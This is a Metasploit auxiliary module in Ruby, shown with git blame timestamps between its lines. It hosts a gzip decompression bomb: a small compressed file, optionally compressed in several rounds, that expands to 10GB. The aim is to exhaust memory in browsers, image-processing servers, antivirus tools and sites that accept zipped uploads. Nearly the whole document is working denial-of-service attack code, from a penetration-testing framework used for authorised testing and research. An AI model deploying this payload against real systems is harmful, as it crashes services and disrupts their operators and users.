2013-11-17 20:26:40 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-11-17 20:26:40 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'zlib'
|
|
|
|
require 'stringio'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-11-17 20:26:40 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2013-11-18 21:07:59 +00:00
|
|
|
'Name' => 'Gzip Memory Bomb Denial Of Service',
|
2013-11-17 20:26:40 +00:00
|
|
|
'Description' => %q{
|
2013-11-17 21:35:35 +00:00
|
|
|
This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.
|
2013-11-17 20:26:40 +00:00
|
|
|
Many applications will not implement a length limit check and will eat up all memory and
|
|
|
|
eventually die. This can also be used to kill systems that download/parse content from
|
|
|
|
a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc).
|
|
|
|
|
|
|
|
A FILEPATH datastore option can also be provided to save the .gz bomb locally.
|
2013-11-17 21:35:35 +00:00
|
|
|
|
2013-11-17 21:48:27 +00:00
|
|
|
Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly
|
|
|
|
deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value)
|
|
|
|
will generate a 300 byte gzipped file that expands to 10GB.
|
2013-11-17 20:26:40 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'info[at]aerasec.de', # 2004 gzip bomb advisory
|
|
|
|
'joev' # Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 1 2004',
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
[ 'WebServer' ]
|
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
|
|
|
'WebServer'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'WebServer'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptInt.new('SIZE', [true, 'Size of uncompressed data in megabytes (10GB default).', 10240]),
|
2013-11-17 21:35:35 +00:00
|
|
|
OptInt.new('ROUNDS', [true, 'Rounds of gzip compression. Some applications (FF) support > 1.', 1]),
|
2013-11-17 21:38:48 +00:00
|
|
|
OptString.new('URIPATH', [false, 'Path of URI on server to the gzip bomb (default is random)']),
|
|
|
|
OptString.new('CONTENT_TYPE', [false, 'Content-Type header to serve in the response', 'text/html'])
|
2013-11-17 20:26:40 +00:00
|
|
|
],
|
|
|
|
self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
datastore['HTTP::compression'] = false # not a good idea
|
|
|
|
@gzip = generate_gzip
|
|
|
|
print_status "Gzip generated. Uncompressed=#{default_size}bytes. Compressed=#{@gzip.length}bytes."
|
|
|
|
exploit # start http server
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
print_status "Sending gzipped payload to client #{cli.peerhost}"
|
|
|
|
rounds = (['gzip']*datastore['ROUNDS']).join(', ')
|
2013-11-17 21:38:48 +00:00
|
|
|
send_response(cli, @gzip, { 'Content-Encoding' => rounds, 'Content-Type' => datastore['CONTENT_TYPE'] })
|
2013-11-17 20:26:40 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
# zlib ftw
|
|
|
|
def generate_gzip(size=default_size, blocks=nil, reps=nil)
|
|
|
|
reps ||= datastore['ROUNDS']
|
|
|
|
return blocks if reps < 1
|
|
|
|
|
|
|
|
print_status "Generating gzip bomb..."
|
|
|
|
StringIO.open do |io|
|
|
|
|
stream = Zlib::GzipWriter.new(io, Zlib::BEST_COMPRESSION, Zlib::DEFAULT_STRATEGY)
|
|
|
|
buf = nil
|
|
|
|
begin
|
|
|
|
# add MB of data to the stream. this takes a little while, but doesn't kill memory.
|
|
|
|
if blocks.nil?
|
|
|
|
chunklen = 1024*1024*8 # 8mb per chunk
|
|
|
|
a = "A"*chunklen
|
|
|
|
n = size / chunklen
|
|
|
|
|
|
|
|
n.times do |i|
|
|
|
|
stream << a
|
|
|
|
if i % 100 == 0
|
|
|
|
print_status "#{i.to_s.rjust(Math.log(n,10).ceil)}/#{n} chunks added (#{'%.1f' % (i.to_f/n.to_f*100)}%)"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
else
|
|
|
|
stream << blocks
|
|
|
|
end
|
|
|
|
|
|
|
|
a = nil # gc a
|
|
|
|
buf = generate_gzip(size, io.string, reps-1)
|
|
|
|
ensure
|
|
|
|
stream.flush
|
|
|
|
stream.close
|
|
|
|
end
|
|
|
|
buf
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def default_size
|
|
|
|
datastore['SIZE']*1024*1024 # mb -> bytes
|
|
|
|
end
|
|
|
|
end
|